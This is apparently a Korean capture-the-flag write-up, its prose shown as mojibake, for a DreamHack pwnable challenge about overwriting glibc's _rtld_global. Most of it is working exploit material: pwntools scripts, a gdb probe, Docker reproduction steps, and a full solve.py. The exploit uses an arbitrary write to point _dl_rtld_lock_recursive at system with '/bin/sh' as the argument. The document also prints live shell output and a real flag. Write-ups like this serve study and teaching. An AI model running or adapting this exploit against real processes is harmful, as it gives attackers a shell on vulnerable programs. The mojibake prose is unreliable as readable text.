# python3 dbg_local.py 0xf10 -> _dl_rtld_unlock_recursive(+0xf10) ๋ก (์คํ์
์ง์ )
import pathlib
import sys
from pwn import *
context.arch = "amd64"
context.log_level = "info"
FPTR = int(sys.argv[1], 0) if len(sys.argv) > 1 else 0xF08
LOCAL = str(pathlib.Path(__file__).resolve().parent / "local")
io = process(LOCAL + "/ow_rtld", cwd=LOCAL)
def bases(pid):
r = {}
for line in open("/proc/%d/maps" % pid):
if "r-xp" not in line:
continue
if line.rstrip().endswith("libc-2.27.so"):
r.setdefault("libc", int(line.split("-")[0], 16))
if line.rstrip().endswith("ld-2.27.so"):
r.setdefault("ld", int(line.split("-")[0], 16))
return r
io.recvuntil(b"stdout: ")
leak = int(io.recvline().strip(), 16)
b = bases(io.pid)
libc, ld = b["libc"], b["ld"]
log.info("leak %#x", leak)
log.info("libc (maps) %#x leak-libc = %#x", libc, leak - libc)
log.info("ld (maps) %#x ld-libc = %#x", ld, ld - libc)
rtld_global = ld + 0x228060
system = libc + 0x4F440
def w(addr, data):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"addr: ", str(addr).encode())
io.sendlineafter(b"data: ", str(data).encode())
w(rtld_global + 0x908, u64(b"/bin/sh\x00"))
w(rtld_global + FPTR, system)
log.info("overwrote _rtld_global+%#x = system(%#x)", FPTR, system)
io.sendlineafter(b"> ", b"0")
io.sendline(b"echo SHELL_OK; id")
print(io.recvrepeat(3).decode(errors="replace"))
io.close()์ด๊ฑธ 0xF08๋ก ๋๋ ธ๋๋ ๋ต์ด ๋์๋ค.

sh: 1: /bin0sh: not foundsystem์ ๋ถ๋ ธ๋ค. ๊ธฐ๋ฒ์ ๋ง์๋ค. ๊ทธ๋ฐ๋ฐ ์ธ์๊ฐ /bin/sh๊ฐ ์๋๋ผ /bin0sh์๋ค.
5๋ฒ์งธ ๋ฐ์ดํธ๊ฐ /(0x2f)์์ 0(0x30)์ผ๋ก, ๋ฑ 1 ๋์ด๋ ์๋ค.
pthread_mutex_t์ ์คํ์
4์๋ __count๊ฐ ์๋ค. ์ฌ๊ท ๋ฎคํ
์ค๊ฐ ๋ช ๋ฒ ์กํ๋์ง ์ธ๋
ํ๋๋ค. ๊ทธ ์๋ฆฌ๋ ๋ด๊ฐ ์จ ๋ฃ์ /bin/sh์ 5๋ฒ์งธ ๋ฐ์ดํธ์ ์ ํํ ๊ฒน์น๋ค.
๋๊ตฐ๊ฐ system ํธ์ถ ์ ์ ๊ทธ ์นด์ดํฐ๋ฅผ ํ ๋ฒ ์ฌ๋ฆฐ ๊ฒ์ด๋ค.
์ฌ๋ฆฐ ๋ฒ์ธ์ ์์ง ์ ๋ฎ์ธ ์ง์ง lock ํจ์์๋ค. _dl_fini๋ ๋ฝ์ ๋จผ์ ์ก๊ณ
์๋ฉธ์๋ฅผ ๋๋ฆฐ ๋ค ํผ๋ค. ๋ด๊ฐ ๋ฎ์ +0xF08์ unlock ์ชฝ์ด์๊ณ , ๊ทธ ์ ์ ์คํ๋
์ง์ง lock(+0xF00)์ด ++__count๋ฅผ ํด ๋ฒ๋ฆฐ ๊ฒ์ด๋ค.
๊ธฐ์ต์ผ๋ก ์ ์ ์คํ์
ํ๋๊ฐ 8๋ฐ์ดํธ ์ด๊ธ๋ฌ๊ณ , ๊ทธ๊ฒ ๋ฌธ์์ด ํ ๊ธ์๋ฅผ ๊ฐ์๋จน์ด
"system์ ๋๋๋ฐ ์
ธ์ ์ ๋จ๋" ๊ทธ๋ฆผ์ด ๋์๋ค. ์คํจ ๋ฉ์์ง๊ฐ /bin0sh๋ผ๊ณ ์ ํํ
์ฐ์ด ์ค ๊ฒ ์๋์์ผ๋ฉด ํ์ฐธ ํค๋งธ์ ๊ฒ์ด๋ค.
๊ธฐ์ต์ ๊ธฐ๋์ง ๋ง๊ณ ์คํ ์ค์ธ ํ๋ก์ธ์ค์์ ์ง์ ์ฝ๊ธฐ๋ก ํ๋ค.
gdb๋ฅผ ๋ฐฐ์น ๋ชจ๋๋ก ๋๋ ค _rtld_global์ ํด๋น ์คํ์
๋ค์ ๋คํํ๊ณ ,
๊ฑฐ๊ธฐ ๋ค์ด ์๋ ํฌ์ธํฐ๊ฐ ๊ฐ๋ฆฌํค๋ ํจ์๊น์ง ๋์ค์ด์
๋ธํ๋ค.
set confirm off
set pagination off
set disassembly-flavor intel
starti
python
inf = gdb.inferiors()[0]
def bases():
ld = libc = exe = None
for line in gdb.execute("info proc mappings", to_string=True).splitlines():
f = line.split()
if len(f) < 6:
continue
p = f[-1]
if p.endswith("ld-2.27.so") and ld is None:
ld = int(f[0], 16)
elif p.endswith("libc-2.27.so") and libc is None:
libc = int(f[0], 16)
elif p.endswith("/ow_rtld") and exe is None:
exe = int(f[0], 16)
return ld, libc, exe
ld, libc, exe = bases()
gdb.execute("break *%#x" % (exe + 0x6D0))
gdb.execute("continue")
ld, libc, exe = bases()
rtld_global = ld + 0x228060
def rd(a):
return int.from_bytes(inf.read_memory(a, 8).tobytes(), "little")
print("=" * 70)
print("ld_base = %#x _rtld_global = %#x" % (ld, rtld_global))
print("=" * 70)
for off, name in ((0x900, "_dl_nns"),
(0x908, "_dl_load_lock.mutex (= _dl_fini ๊ฐ rdi ๋ก ๋๊ธฐ๋ ์ฃผ์)"),
(0xEF8, "?"),
(0xF00, "_dl_rtld_lock_recursive"),
(0xF08, "_dl_rtld_unlock_recursive"),
(0xF10, "_dl_make_stack_executable_hook")):
v = rd(rtld_global + off)
tag = " -> ld+%#x" % (v - ld) if ld <= v < ld + 0x230000 else ""
print("_rtld_global+0x%03X %-46s = %#018x%s" % (off, name, v, tag))
print("=" * 70)
print("--- +0xF00 ์ด ๊ฐ๋ฆฌํค๋ ํจ์ (๊ธฐ๋ณธ lock) ---")
gdb.execute("x/8i %#x" % rd(rtld_global + 0xF00))
print("--- +0xF08 ์ด ๊ฐ๋ฆฌํค๋ ํจ์ (๊ธฐ๋ณธ unlock) ---")
gdb.execute("x/8i %#x" % rd(rtld_global + 0xF08))
end
quitstarti๋ก ld.so ์ง์
์ ์ ๋ฉ์ถ ๋ค ๋งคํ์ ์ฝ์ด ์คํ ํ์ผ ๋ฒ ์ด์ค๋ฅผ ์์๋ด๊ณ ,
๊ฑฐ๊ธฐ์ ELF ์ํธ๋ฆฌ ์คํ์
0x6d0์ ๋ํ ๊ณณ์ ๋ธ๋ ์ดํฌ๋ฅผ ๊ฑด๋ค.
๊ทธ ์์ ์ด๋ฉด ๋ง์ปค ์ด๊ธฐํ๊ฐ ๋๋ _rtld_global์ด ์ฑ์์ ธ ์๋ค.
๋ก์ปฌ ์คํ์ ๋ฌธ์ ๊ฐ ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ทธ๋๋ก ์ฐ๋๋ก ๋ง์ท๋ค. patchelf๋ก ์ธํฐํ๋ฆฌํฐ์
rpath๋ฅผ ๋ฐ๊พธ๊ณ , ld.so๊ฐ libc.so.6์ด๋ผ๋ ์ด๋ฆ์ผ๋ก ์ฐพ์ผ๋ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํ๋ ๊ฑธ์ด ์ค๋ค.
mkdir -p local && cp extracted/ow_rtld extracted/libc-2.27.so extracted/ld-2.27.so local/
cd local
patchelf --set-interpreter "$PWD/ld-2.27.so" --set-rpath "$PWD" ow_rtld
ln -sf libc-2.27.so libc.so.6
chmod +x ow_rtld ld-2.27.sogdb -q -batch -x cmds_probe2.gdb local/ow_rtld
์ด๊ฑธ๋ก ๋๋ฌ๋ค.
| ์คํ์ | ํ๋ | ์ด๊ธฐ๊ฐ์ด ๊ฐ๋ฆฌํค๋ ์ฝ๋ |
|---|---|---|
+0x900 | _dl_nns | 1 |
+0x908 | _dl_load_lock.mutex | 0 (ํ๋ฆฐ ์ํ) |
+0xF00 | _dl_rtld_lock_recursive | add DWORD PTR [rdi+0x4],0x1 ; ret |
+0xF08 | _dl_rtld_unlock_recursive | sub DWORD PTR [rdi+0x4],0x1 ; ret |
+0xF10 | _dl_make_stack_executable_hook | _dl_make_stack_executable |
+0xF00์ด ๊ฐ๋ฆฌํค๋ ์ฝ๋๊ฐ add DWORD PTR [rdi+0x4],1, +0xF08์ด
sub DWORD PTR [rdi+0x4],1์ด๋ค. ์ค๋ ๋๊ฐ ํ๋๋ฟ์ธ ํ๋ก๊ทธ๋จ์ด๋ผ ๋ง์ปค๊ฐ
์ง์ง ๋ฎคํ
์ค ๋์ ์นด์ดํฐ๋ง ์ฌ๋ ธ๋ค ๋ด๋ฆฌ๋ ๊ธฐ๋ณธ ๊ตฌํ์ ๊ฝ์ ๋ ๊ฒ์ด๊ณ ,
/bin/sh์ 5๋ฒ์งธ ๋ฐ์ดํธ๋ฅผ ๊ฐ์๋จน์ ++๊ฐ ๋์์ ๊ทธ๋๋ก ์๋ค.
๋ฎ์ ๊ณณ์ +0xF00์ด๋ค.
์์ผ๋ก ์ธ๋ค ํ๋ฆฐ ์ด์ ๋ ์ด์ ๋ณด์ธ๋ค. +0xEF8์ด 0์ด๊ณ +0xF10์ด
_dl_make_stack_executable_hook์ด๋, ๋ฝ ํฌ์ธํฐ ๋ ๊ฐ๋ ๊ทธ ์ฌ์ด์ ๋ฑ ๋ถ์ด ์๋ค.
๊ตฌ์กฐ์ฒด ๋ท๋ถ๋ถ์๋ _dl_debug_fd ๊ฐ์ int ํ๋์ ๋น๋ ์กฐ๊ฑด๋ถ ํ๋๊ฐ ์์ฌ ์์ด์
์์ค๋ง ๋ณด๊ณ ๋์ ์คํ์
์ ์ธ๋ฉด ์ด๊ธ๋๊ธฐ ์ฝ๋ค. ์คํ ์ค์ธ ๋ฉ๋ชจ๋ฆฌ๊ฐ ์ ๋ต์ง๋ค.
๐งฎ ld.so ๋ฒ ์ด์ค๋ ์ด๋ป๊ฒ ์๋
์ฌ๊ธฐ์ ํ ๊ฐ์ง๊ฐ ๋ ๋จ๋๋ค. ์ ์ถ๋ก ์ป๋ ๊ฑด libc ๋ฒ ์ด์ค์ธ๋ฐ,
_rtld_global์ ld.so ์์ ์๋ค. ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฌ์ด ๊ฑฐ๋ฆฌ๋ฅผ ์์์ผ ํ๋ค.
์ฝ๊ธฐ ์์๊ฐ ์์ผ๋ ๋ฐํ์์ ์์๋ผ ๋ฐฉ๋ฒ์ ์๋ค. ๋์ ์ด ๊ฑฐ๋ฆฌ๋ ๊ณ ์ ์ด๋ค.
์ปค๋์ ELF ์ธํฐํ๋ฆฌํฐ(ld.so)๋ฅผ mmap ์์ญ ํ์ชฝ์ ์ฌ๋ฆฌ๊ณ , ๊ทธ ๋ค์๋ถํฐ๋ ld.so๊ฐ ํ์ํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ง์ mmapํ๋ค. ์ด ํ๋ก๊ทธ๋จ์ด ๋งํฌํ๋ ๊ฑด libc ํ๋๋ฟ์ด๋ผ ๋ฐฐ์น๊ฐ ๋จ์ํ๋ค. libc๊ฐ ํต์งธ๋ก ๋งคํ๋ ๋ฐ๋ก ์์ ld.so๊ฐ ์๋๋ค. ๊ทธ๋ฌ๋ ๋ ์ฌ์ด ๊ฑฐ๋ฆฌ๋ libc ๋งคํ์ ์ด ํฌ๊ธฐ๋ก๋ง ์ ํด์ง๊ณ , ASLR๋ก ๋ฒ ์ด์ค๊ฐ ํต์งธ๋ก ์์ง์ฌ๋ ์๋ ๊ฑฐ๋ฆฌ๋ ๋ณํ์ง ์๋๋ค.
๊ณ์ฐ์ผ๋ก๋ libc ๋งคํ 0x3ED000์ bss ๋ค ์ต๋ช
ํ์ด์ง 0x4000์ ๋ํด 0x3F1000์ด๋ค.
ํ์ง๋ง ๊ณ์ฐ๋ง ๋ฏฟ๊ธฐ์ ๋ถ์ํด์ ์ค์ ๋ก ์ฌ ๋ดค๋ค.
๋ฌธ์ ๊ฐ ์ค Dockerfile์ ๊ทธ๋๋ก ๋น๋ํ๋ฉด ์๊ฒฉ๊ณผ ๊ฐ์ ํ๊ฒฝ์ด ๋์จ๋ค.
๋ฒ ์ด์ค ์ด๋ฏธ์ง๊ฐ ๋ค์ด์ ์คํธ๋ก ๊ณ ์ ๋ผ ์์ด์(ubuntu:18.04@sha256:d1d454df...) ์ง๊ธ ๋น๋ํด๋
2022๋
๋น์์ ๊ฐ์ libc๊ฐ ๋ค์ด์จ๋ค. ์ค์ ๋ก ์ปจํ
์ด๋ ์์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ฌธ์ ๊ฐ ์ค ํ์ผ์
md5๊ฐ ๊ฐ์๋ค.
#!/usr/bin/env bash
# ๋ฌธ์ Dockerfile ๋ก ๋ง๋ ์ปจํ
์ด๋(ow_rtld_local) ์์์ ow_rtld ๋ฅผ ๋์ฐ๊ณ
# /proc/<pid>/maps ๋ก libcยทld ๋งคํ ์์์ฃผ์๋ฅผ ์ฝ์ด, ๋์ ๊ฑฐ๋ฆฌ๊ฐ ์คํ๋ง๋ค ๊ณ ์ ์ธ์ง ๋ณธ๋ค.
# ASLR ์ ์ผ์ ธ ์์ผ๋ฏ๋ก(ํธ์คํธ randomize_va_space=2) ๋งค๋ฒ ๋ฒ ์ด์ค๋ ๋ฌ๋ผ์ ธ์ผ ์ ์์ด๋ค.
set -eu
for i in 1 2 3 4; do
docker run --rm ow_rtld_local sh -c \
'(sleep 3 | /home/ow_rtld/ow_rtld >/dev/null) & p=$!; sleep 1;
grep -E "r-xp .*(libc-2.27|ld-2.27)" /proc/$p/maps' \
| python3 -c '
import sys
libc = ld = None
for line in sys.stdin:
a = int(line.split("-")[0], 16)
if "libc-2.27" in line:
libc = a
elif "ld-2.27" in line:
ld = a
print("libc=0x%x ld=0x%x ld-libc=0x%x" % (libc, ld, ld - libc))
'
done
๋ค ๋ฒ ๋ค ๋ฒ ์ด์ค๋ ๋ค๋ฅด๊ณ ๊ฑฐ๋ฆฌ๋ 0x3f1000์ผ๋ก ๊ฐ๋ค. ASLR์ ์ผ์ ธ ์๊ณ
(ํธ์คํธ randomize_va_space๊ฐ 2) ์๋ ๊ฑฐ๋ฆฌ๋ง ๊ณ ์ ์ด๋ผ๋ ๋ป์ด๋ค.
socat์ด forkํด์ ๋์ด ์ค์ ์ฑ๋ฆฐ์ง ํ๋ก์ธ์ค์์๋ ๊ฐ์ ๊ฐ์ด ๋์ค๋์ง ๋ฐ๋ก ํ์ธํ๋ค.
์ปจํ
์ด๋๋ฅผ ๋์ ๋๊ณ ์ ์ํ ์ํ์์ /proc/<pid>/maps๋ฅผ ์ฝ์ด ๋ณด๋ฉด 0x3f1000์ด๋ค.
์ต์ค๊ฐ ์ค์ ๋ก ๋ถ๋ ๋์์ด ๊ทธ ํ๋ก์ธ์ค์ด๋ฏ๋ก ์ด ํ์ธ์ด ์์ด์ผ ์์ฌํ ์ ์๋ค.
์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.
libc_base = leak - 0x3ec760
ld_base = libc_base + 0x3f1000
rtld_global = ld_base + 0x228060
system = libc_base + 0x4f440๐ฏ ์ต์คํ๋ก์ ์กฐ๋ฆฝ
ํ์ํ ์ฐ๊ธฐ๋ ๋ ๋ฒ๋ฟ์ด๋ค.
์ฒซ ๋ฒ์งธ โ _rtld_global+0x908์ /bin/sh\0.
_dl_fini๊ฐ lea rdi,[_rtld_global+0x908]๋ก ์ด ์ฃผ์๋ฅผ ์ธ์์ ์ฃ๋๋ค.
๋ฌธ์์ด์ ๋ค๋ฅธ ๋ฐ ๋ ํ์๊ฐ ์๋ค. rdi๋ฅผ ์ฐ๋ฆฌ๊ฐ ๋ชป ๊ณ ๋ฅด๋, rdi๊ฐ ๊ฐ๋ฆฌํค๋ ๊ณณ์
๋ฌธ์์ด์ ๊ฐ๋ค ๋๋ ์ชฝ์ด ๋ง๋ค. 8๋ฐ์ดํธ ๋ฆฌํ์๋์ธ์ผ๋ก๋ 0x0068732f6e69622f.
๋ ๋ฒ์งธ โ _rtld_global+0xF00์ system.
์ฌ๊ธฐ์ ๋ฎคํ
์ค๊ฐ ๊นจ์ง๋ ๊ฑธ ๊ฑฑ์ ํ ํ์๋ ์๋ค. _dl_load_lock์ dlopen/dlclose๊ฐ
์ฐ๋ ๋ฝ์ธ๋ฐ ์ด ํ๋ก๊ทธ๋จ์ ๋ ๋ค ์ ๋ถ๋ฅธ๋ค. ์ฐ๋ฆฌ๊ฐ ์ด ์์ ๋ถํฐ _dl_fini๊ฐ ๋ถ๋ฆด ๋๊น์ง
๊ทธ ๋ฎคํ
์ค๋ฅผ ๊ฑด๋๋ฆฌ๋ ์ฝ๋๊ฐ ์๋ค.
๋ง์ง๋ง โ ๋ฉ๋ด์ 0์ ๋ณด๋ธ๋ค. switch์ default๋ก ๋น ์ ธ main์ด ๋ฆฌํดํ๊ณ ,
exit โ __run_exit_handlers โ _dl_fini โ system("/bin/sh") ์์ผ๋ก ์ด์ด์ง๋ค.
scanf("%ld")๊ฐ ๋ถํธ ์๋ 10์ง์๋ฅผ ๋ฐ์ผ๋ฏ๋ก ์ฃผ์๋ ๊ฐ๋ ์ญ์ง์ ๋ฌธ์์ด๋ก ๋ณด๋ด๋ฉด ๋๋ค.
์ด ๋ฌธ์ ์ ์ฃผ์๋ ์ ๋ถ 0x7f... ๋์ญ์ด๋ผ ๋ถํธ ์๋ 64๋นํธ ๋ฒ์ ์์ด๊ณ , ๊ทธ๋๋ก ํตํ๋ค.
๋ก์ปฌ ๋ณต์ ๋ณธ์ ๋จผ์ ๋ถ์๋ค. ๋ฌธ์ Dockerfile ๊ทธ๋๋ก ๋น๋ํด socat๊น์ง ๋๊ฐ์ด ๋์ด ์ปจํ ์ด๋๋ค.
mkdir -p build && cp extracted/Dockerfile extracted/ow_rtld build/
printf 'DH{LOCAL_FAKE_FLAG_ow_rtld_test}\n' > build/flag
docker build -t ow_rtld_local build/
docker run -d --rm --name ow_rtld_test -p 7182:7182 ow_rtld_local์ธ์ ์์ด solve.py๋ฅผ ๋๋ฆฌ๋ฉด 127.0.0.1:7182๋ก ๋ถ๋๋ค.

uid=1000(ow_rtld)๋ก ์
ธ์ด ๋ด๊ณ flag ํ์ผ์ด ์ฝํ๋ค.
์ฌ๊ธฐ ๋ณด์ด๋ DH{LOCAL_FAKE_FLAG_ow_rtld_test}๋ ๋ก์ปฌ ๋น๋์ ๋ด๊ฐ ๋ฃ์ด ๋ ๋๋ฏธ๋ค.
์ง์ง flag๋ ๋ผ์ด๋ธ ์ธ์คํด์ค์์๋ง ๋์จ๋ค.
๐ Full Exploit
solve.py ์ ๋ฌธ์ด๋ค. ์ธ์ ์์ด ๋๋ฆฌ๋ฉด ์์ ๋ก์ปฌ ๋ณต์ ๋ณธ, ํธ์คํธ์ ํฌํธ๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธ ์๋ฒ๋ก ๋ถ๋๋ค.
#!/usr/bin/env python3
# Overwrite _rtld_global (DreamHack, Bronze 2 / pwnable)
#
# ์ฌ์ฉ๋ฒ
# ๋ก์ปฌ(๋์ปค ๋ณต์ ๋ณธ, ๊ธฐ๋ณธ๊ฐ): python3 solve.py
# ์๊ฒฉ: python3 solve.py host3.dreamhack.games 12345
#
# ๋ก์ปฌ ๋ณต์ ๋ณธ ๋์ฐ๋ ๋ฒ (๋ฌธ์ Dockerfile ๊ทธ๋๋ก):
# cd build && docker build -t ow_rtld_local . && \
# docker run --rm -p 7182:7182 ow_rtld_local
#
# ์ทจ์ฝ์ : main ์ while(1) ์์์ *(long long *)addr = data ๊ฐ ๋ฌด์ ํ ์์ ์ฃผ์ ์ฐ๊ธฐ.
# Full RELRO ๋ผ GOT ๋ ๋ชป ๊ฑด๋๋ฆฌ์ง๋ง, ld.so ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์ ์ญ _rtld_global ์
# RELRO ๋์์ด ์๋๋ค. ์ข
๋ฃ ์ _dl_fini() ๊ฐ
# _rtld_global._dl_rtld_lock_recursive(&_rtld_global._dl_load_lock.mutex)
# ๋ฅผ ํธ์ถํ๋ฏ๋ก, ํจ์ ํฌ์ธํฐ๋ฅผ system ์ผ๋ก, ์ธ์ ์๋ฆฌ๋ฅผ "/bin/sh" ๋ก ๋ฐ๊ฟ์น๊ธฐํ๋ค.
import re
import sys
import time
from pwn import *
context.arch = "amd64"
context.log_level = "info"
# ---- ์ ๊ณต๋ libc-2.27.so / ld-2.27.so ์์ ๋ฝ์ ์์ -------------------------
LIBC_STDOUT = 0x3EC760 # readelf --dyn-syms libc-2.27.so | grep _IO_2_1_stdout_
LIBC_SYSTEM = 0x0004F440 # readelf --dyn-syms libc-2.27.so | grep ' system@@'
LD_RTLD_GLOBAL = 0x228060 # readelf --dyn-syms ld-2.27.so | grep _rtld_global@@
# _rtld_global ๋ด๋ถ ์คํ์
(glibc 2.27 x86-64, objdump/gdb ๋ก ํ์ธ)
# +0xF00 lock -> add DWORD PTR [rdi+0x4],1 ; ret
# +0xF08 unlock -> sub DWORD PTR [rdi+0x4],1 ; ret
# _dl_fini ๋ lock ์ ๋จผ์ ๋ถ๋ฅธ๋ค. unlock(+0xF08) ์ ๋ฎ์ผ๋ฉด ๊ทธ ์ ์ ์คํ๋ ์ง์ง lock ์ด
# mutex.__count(= ๋ฌธ์์ด 4๋ฒ์งธ ๋ฐ์ดํธ) ๋ฅผ +1 ํด๋ฒ๋ ค "/bin/sh" ๊ฐ "/bin0sh" ๊ฐ ๋๋ค.
OFF_LOAD_LOCK = 0x908 # &_rtld_global._dl_load_lock.mutex -> _dl_fini ๊ฐ rdi ๋ก ๋๊น
OFF_LOCK_FPTR = 0xF00 # _rtld_global._dl_rtld_lock_recursive
# ld.so ์ libc ๋ ํญ์ ๋ถ์ด์ ๋งคํ๋๋ค. ๊ทธ ๊ฑฐ๋ฆฌ๋ libc ๋งคํ ํฌ๊ธฐ๋ก๋ง ์ ํด์ ธ ๊ณ ์ .
# ld_base - libc_base = 0x3ED000(libc ๋งคํ) + 0x4000(bss ๋ค ์ต๋ช
ํ์ด์ง) = 0x3F1000
LD_DELTA = 0x3F1000
# ----------------------------------------------------------------------------
def write64(io, addr, data):
"""arbitrary write ํ ๋ฒ: idx=1 -> addr -> data"""
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"addr: ", str(addr).encode())
io.sendlineafter(b"data: ", str(data).encode())
def main():
if len(sys.argv) >= 3:
io = remote(sys.argv[1], int(sys.argv[2]))
else:
io = remote("127.0.0.1", 7182)
# 1) main ์ฒซ ์ค์ด stdout(=libc ์ _IO_2_1_stdout_) ์ฃผ์๋ฅผ ๊ทธ๋ฅ ์๋ ค์ค๋ค
io.recvuntil(b"stdout: ")
leak = int(io.recvline().strip(), 16)
libc = leak - LIBC_STDOUT
ld = libc + LD_DELTA
rtld_global = ld + LD_RTLD_GLOBAL
log.success("stdout leak : %#x", leak)
log.success("libc base : %#x", libc)
log.success("ld base : %#x (libc + %#x)", ld, LD_DELTA)
log.success("_rtld_global : %#x", rtld_global)
system = libc + LIBC_SYSTEM
log.success("system : %#x", system)
# 2) _dl_fini ๊ฐ ์ธ์๋ก ๋๊ธธ &_dl_load_lock.mutex ์๋ฆฌ์ "/bin/sh" ๋ฅผ ๋ฐ๋๋ค
binsh = u64(b"/bin/sh\x00")
write64(io, rtld_global + OFF_LOAD_LOCK, binsh)
# 3) ๊ทธ ์๋ฆฌ๋ฅผ ํธ์ถํ๋ ํจ์ ํฌ์ธํฐ๋ฅผ system ์ผ๋ก
write64(io, rtld_global + OFF_LOCK_FPTR, system)
# 4) idx ๋ฅผ 1 ์ด์ธ์ ๊ฐ์ผ๋ก -> main return -> exit -> _dl_fini -> system("/bin/sh")
io.sendlineafter(b"> ", b"0")
time.sleep(0.5)
io.sendline(b"id; cat /home/ow_rtld/flag")
out = io.recvrepeat(3).decode(errors="replace")
print(out, end="")
io.close()
m = re.search(r"DH\{[^}]*\}", out)
if m:
log.success("FLAG: %s", m.group(0))
else:
log.failure("flag ๋ฅผ ๋ชป ๋ฐ์๋ค โ ์
ธ์ด ์ ๋ด๊ฑฐ๋ ์ธ์คํด์ค๊ฐ ๋ง๋ฃ๋๋ค")
sys.exit(1)
if __name__ == "__main__":
main()๋ผ์ด๋ธ ์ธ์คํด์ค์ ๋ถ์ธ ๊ฒฐ๊ณผ๋ค. ํฌํธ๋ VM์ ์๋ก ๋์ธ ๋๋ง๋ค ๋ฐ๋๋ค.

[+] stdout leak : 0x7f4e2c5de760
[+] libc base : 0x7f4e2c1f2000
[+] ld base : 0x7f4e2c5e3000 (libc + 0x3f1000)
[+] _rtld_global : 0x7f4e2c80b060
[+] system : 0x7f4e2c241440
uid=1000(ow_rtld) gid=1000(ow_rtld) groups=1000(ow_rtld)
DH{a5bd416ee5f23da9f378c1b5d177b99366141f93beb3eabfa5b74abcf83f4293}๐งช ์ฌํ
reproduce.sh ํ๋๋ก ๋น๋๋ถํฐ ๊ฒ์ฆ๊น์ง ๋๋๊ฒ ํด ๋๋ค.
์ธ์๋ฅผ ์ ์ฃผ๋ฉด ๋ก์ปฌ ๋์ปค ๋ณต์ ๋ณธ์ผ๋ก ๊ธฐ๋ฒ๋ง ํ์ธํ๊ณ , ํธ์คํธ์ ํฌํธ๋ฅผ ์ฃผ๋ฉด ์ง์ง flag๋ฅผ ๋์กฐํ๋ค.
#!/usr/bin/env bash
# Overwrite _rtld_global (DreamHack Bronze 2, pwnable) โ ํ ๋ฐฉ ์ฌํ.
#
# ./reproduce.sh ๋ก์ปฌ ๋์ปค ๋ณต์ ๋ณธ์ผ๋ก ๊ธฐ๋ฒ ๊ฒ์ฆ (์ง์ง flag ์๋)
# ./reproduce.sh host3.dreamhack.games 15889 ๋ผ์ด๋ธ ์ธ์คํด์ค โ ์ง์ง flag ๋์กฐ
set -eu
cd "$(dirname "$(readlink -f "$0")")"
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ .json'))['flag'])" 2>/dev/null || echo '')
if [ "$#" -ge 2 ]; then
# ---- ๋ผ์ด๋ธ: ์ง์ง flag ----
OUT=$(timeout 300 python3 solve.py "$1" "$2" 2>&1) || true
echo "$OUT" | tail -10
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "โ
PASS $FLAG"; exit 0
fi
echo; echo "โ FAIL (์ป์ ๊ฐ: '${FLAG:-์์}' / ๊ธฐ๋: '${EXPECT:-๋์กฐ๋ณธ์์}')"; exit 1
fi
# ---- ๋ก์ปฌ: ๋ฌธ์ Dockerfile ๊ทธ๋๋ก ๋ณต์ ํด ๊ธฐ๋ฒ๋ง ๊ฒ์ฆ ----
echo "[*] ๋ก์ปฌ ๋ณต์ ๋ณธ ๋น๋ (๋ฌธ์ Dockerfile ยท ubuntu:18.04 pinned digest)"
mkdir -p build
cp extracted/Dockerfile extracted/ow_rtld build/
printf 'DH{LOCAL_FAKE_FLAG_ow_rtld_test}\n' > build/flag
docker build -q -t ow_rtld_local build/ >/dev/null
docker rm -f ow_rtld_repro >/dev/null 2>&1 || true
docker run -d --rm --name ow_rtld_repro -p 7182:7182 ow_rtld_local >/dev/null
sleep 2
OUT=$(timeout 120 python3 solve.py 2>&1) || true
docker rm -f ow_rtld_repro >/dev/null 2>&1 || true
echo "$OUT" | tail -10
if printf '%s' "$OUT" | grep -q 'DH{LOCAL_FAKE_FLAG_ow_rtld_test}'; then
echo
echo "โ
LOCAL-OK _rtld_global ๋ฎ์ด์ฐ๊ธฐ โ ์
ธ ํ๋ ํ์ธ"
echo " โ ๏ธ ์ flag ๋ ์ด ์คํฌ๋ฆฝํธ๊ฐ ์ฌ์ด ๋ ๋ก์ปฌ ๋๋ฏธ๋ค. ์ง์ง flag ๋ ๋ผ์ด๋ธ ์ธ์คํด์ค์์๋ง ๋์จ๋ค:"
echo " ./reproduce.sh <host> <port>"
exit 0
fi
echo; echo "โ FAIL โ ๋ก์ปฌ ๋ณต์ ๋ณธ์์ ์
ธ์ ๋ชป ์ก์๋ค"; exit 1LD_DELTA๋ ์ด ํ๊ฒฝ(Ubuntu 18.04 + ์ด libc)์ ๋ฌถ์ธ ๊ฐ์ด๋ค.
๋ค๋ฅธ ๋ฐฐํฌํ์ด๋ ๋ค๋ฅธ libc ๋ฒ์ ์์ ์ฌํํ ๊ฑฐ๋ฉด check_delta.sh๋ฅผ ๋จผ์ ๋๋ ค
์๊ธฐ ํ๊ฒฝ์ ๊ฑฐ๋ฆฌ๋ฅผ ๋ค์ ์ฌ์ผ ํ๋ค. ๊ทธ๊ฒ ์ด ์ต์ค์์ ์ ์ผํ๊ฒ ํ๊ฒฝ์ ํ๋ ์์๋ค.
gdb ์์์๋ ์ด ๊ฐ์ด 0x400000์ผ๋ก ๋์จ๋ค. gdb๊ฐ ๊ธฐ๋ณธ์ผ๋ก ASLR์ ๋๋ฉด์
๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ 0x7ffff7... ๋์ญ์ ๊ท์น์ ์ผ๋ก ์ฌ๋ฆฌ๊ธฐ ๋๋ฌธ์ด๋ค.
0x3f1000์ ASLR์ด ์ผ์ง ์ค์ ํ๊ฒฝ์์๋ง ๋์ค๋ ๊ฐ์ด๋ผ, ๋๋ฒ๊ฑฐ์์ ์ฐ ๊ฑฐ๋ฆฌ๋ฅผ
๊ทธ๋๋ก ์๊ฒฉ์ ์ฐ๋ฉด ์ด๊ธ๋๋ค. ๊ฑฐ๋ฆฌ๋ ๋ฐ๋์ ์ปจํ
์ด๋ ์ชฝ ์ซ์๋ฅผ ์จ์ผ ํ๋ค.
